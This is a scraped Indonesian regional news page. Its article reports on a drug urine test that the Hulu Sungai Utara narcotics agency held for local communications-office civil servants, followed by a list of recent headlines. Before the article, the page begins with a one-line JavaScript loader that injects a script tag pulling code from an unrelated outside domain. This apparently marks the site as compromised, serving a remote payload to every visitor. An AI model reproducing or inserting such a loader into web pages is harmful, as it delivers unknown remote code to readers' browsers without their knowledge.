(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BNN Kabupaten HSU Gelar Tes Urine ASN Diskominfo


KANALKALIMANTAN.COM, AMUNTAI – Aparatur Sipil Negara (ASN) sebagai contoh bagi masyarakat haruslah terbebas dari Narkoba dan zat adiktif lainnya.

Hal ini diungkapkan Kepala Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Hulu Sungai Utara (HSU), H Adi Lesmana di sela pelaksanaan tes urine ASN Diskominfo oleh Badan Narkotika Nasional (BNN) Kabupaten HSU, Senin (8/11/2021).

“Kegiatan ini tentu sangatlah positif bagi kami, dengan mengikuti kegiatan ini berarti kita ikut turut serta mendukung ASN bebas dari Narkoba,” kata Adi Lesmana.

ASN Diskominfoi HSU harus membantu menyosialisasikan di lingkungan sekitar bahaya narkoba dan zat adiktif lainnya.

 

Baca juga : Inovasi ADIB DPMPTSP Kapuas, Layanan Perizinan Gratis bagi Usaha Kuliner

“Karena narkoba ini sangat tidak baik, dilarang baik dari sisi agama dan hukum,” imbuhnya.

Sementara itu, Kepala BNN Kabupaten HSU, Kompol H Syamsuddin menyebut, kegiatan ini merupakan tindak lanjut dengan adanya pernyataan Presiden RI bahwa Indonesia sudah menjadi negara yang darurat akan narkoba.

“Karena Indonesia sudah darurat Narkoba, ada MoU Menteri Dalam Negeri dengan Kepala BNN RI. BNN HSU sesuai dengan tugasnya setiap semester melaksanakan kegiatan, salah satunya sosialisasi dan tes urine,” ungkapnya.

Bahaya dari penggunaan narkoba akan berdampak kepada kehidupan, salah satunya dari segi keuangan yang akan hancur dikarenakan efek candu yang timbul dari narkoba tersebut.

 

Baca juga : “Kampung Literasi” Diluncurkan, Wali Kota Aditya: Minat Baca Masih Rendah

Rusmiati, Sub Koordinator Pencegahan dan Pemberdayaan Masyarakat (P2M) BNN Kabupaten HSU mengatakan bahwa kegiatan yang dilaksanakan ini adalah bentuk komitmen dari BNN Kabupaten HSU agar para ASN terbebas dari Narkoba.

Bentuk penerapan Instruksi Presiden (Inpres) Nomor 2 Tahun 2020 tentang Rencana Aksi nasional pencegahan dan pemberantasan penyalahgunaan dan peredaran gelap narkotika dan prekursor narkotika (P4GN). (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

2 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

2 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

2 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

4 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

5 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

6 jam ago

This website uses cookies.